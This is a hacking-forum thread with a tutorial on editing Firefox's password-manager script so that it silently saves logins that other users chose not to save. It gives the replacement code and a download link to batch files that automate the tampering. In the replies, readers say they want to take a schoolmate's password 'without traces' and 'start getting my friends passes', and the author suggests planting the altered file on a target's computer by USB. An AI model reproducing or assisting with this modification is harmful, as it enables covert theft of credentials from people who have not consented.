Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[TuT] Turning Firef0x into Keylogger [TuT]

Auto Bypass Save Password Confirmation


This is a short guide explaining how to use Firef0x as a keylogger of sorts. Here is an example: Someone else is using your computer and signs into their Facebook but always tells Firef0x "Do not remember for this site" or "Never remember" in those cases Firef0x will not save this login info. It is commonly accepted that there is no way to bypass this 'confirmation' until now.

This is tested with Firef0x version three.six.twelve and three.six.thirteen and working.

Step 1: Get your hands on Notepad++

Step 2: Locate the file "nsLoginManagerPrompter.js" which is usually located in C:\Program Files\M0zilla Firef0x\components\

Step 3: Remember make a backup copy of this file elsewhere first to revert to normal if you ever wish to.

Step 4: Open nsLoginManagerPrompter.js with Notepad++ (because this program separates each line with a number and this will be important later)

Step 5: For these particular versions of Firef0x the code you want will be found between lines 804 to 869. If you use a different version, they may be elsewhere. All the code between these lines can be erased and simply replaced with:

Code
var pwmgr = this._pwmgr;
pwmgr.addLogin(aLogin);


You will see its very straightforward once your eyes look at the code through Notepad++ once you replace this code make sure Firef0x is closed completely and then save this file. Restart Firef0x and go somewhere like Yahoo and try to sign into the site using a bogus name and pass. Firef0x should not ask what to do with the login details, it should automatically save it silently. To check this, go to Tools > Options [Security Tab] > Saved Passwords. Your bogus credentials should be listed here.

The only thing to stop you is if a master password is used to control displaying all saved passwords.

EDIT: I have included a zip file which contains a readme, a custom CMD program that attempts to bypass normal CMD restrictions (not necessary unless you run in a restricted environment), and 2 batch files that automate the cracking procedure which will backup and replace the exploited .js file within your firef0x directory. The link is below:

http://www.mediafire.com/?y5ckgk3rum88h2j

As with any batch files, right click and choose EDIT to see what it does exactly before running it. I welcome anyone to scan these files again with any website you choose.

Novirusthanks Results:
Spoiler (Click to View)

VirusTotal Link:
Here
Thanks man! Very good tutorial!
Thanx hope it is useful to some extent, enjoy
Just what i was looking for. Thanks!!
Shit bro, you are a life saver. I've been bugging myself to catch a particular target at school and it doesn't seem to work. I've tried installing keyloggers and RATs but they fail because of the restrictions. I just need 1 password and I don't wanna leave any traces. If this really works, it shouldn't be hard to get it with a few SE. This is perfect man, god bless you. ;)
Thank you 8) In your case, one possibility to consider would be to install Firef0x on your machine and edit this file locally. Test it to ensure its functionality, then simply copy this file to a USB stick or CD and bring it with you to the targets computer. See if it would be possible to copy this file into Firef0x's 'components' folder, replacing the current one. I'm uncertain how far reaching the restrictions of that machine are, but perhaps there are ways of creating a CMD window with administer privileges and using a copy command.

I have considered creating a batch file to automate the process. Possibly creating an AutoRun with a USB stick so the whole task could be completed in less than 3 seconds.
Thanks so much mate needed this.

Thanks.
I put a RAT on the school server it disabled everything and, now they banned USB's and CD's in school haha.
- Joe
Thanks for this, I'm a begginer and i understood it
Very nice, the only problem with this is now they will fix it :(
Amazing tut, thanks so much 😎
Thanks for the awesome tutorial i can't wait to start getting my friends passes.
Good tutorial, but the only way it will work is if you leave the browser history enabled. And the persons login info will always be displayed on that website, which could throw up a red flag. Just throwing it out there. But this does work :)
Thanx for the update iPhr34k it's much appreciated. I was unaware of that variable. Upon further investigation it may also be possible to select "Use Custom Settings for History" and tick "Remember Search and Form History" ON. I believe that is the key attribute to auto saving the pass information although I haven't tested it yet.
Very detailed and useful tutorial, well done.
- Sezmic

[Image: e8zwy.png]


Possibly Related Threads...
Thread / Author Replies Views Last Post
by !-Makaveli-!May 7, 2010 11:45 PM 22 259 May 7, 2010 11:45 PM
Last Post: RUS7Y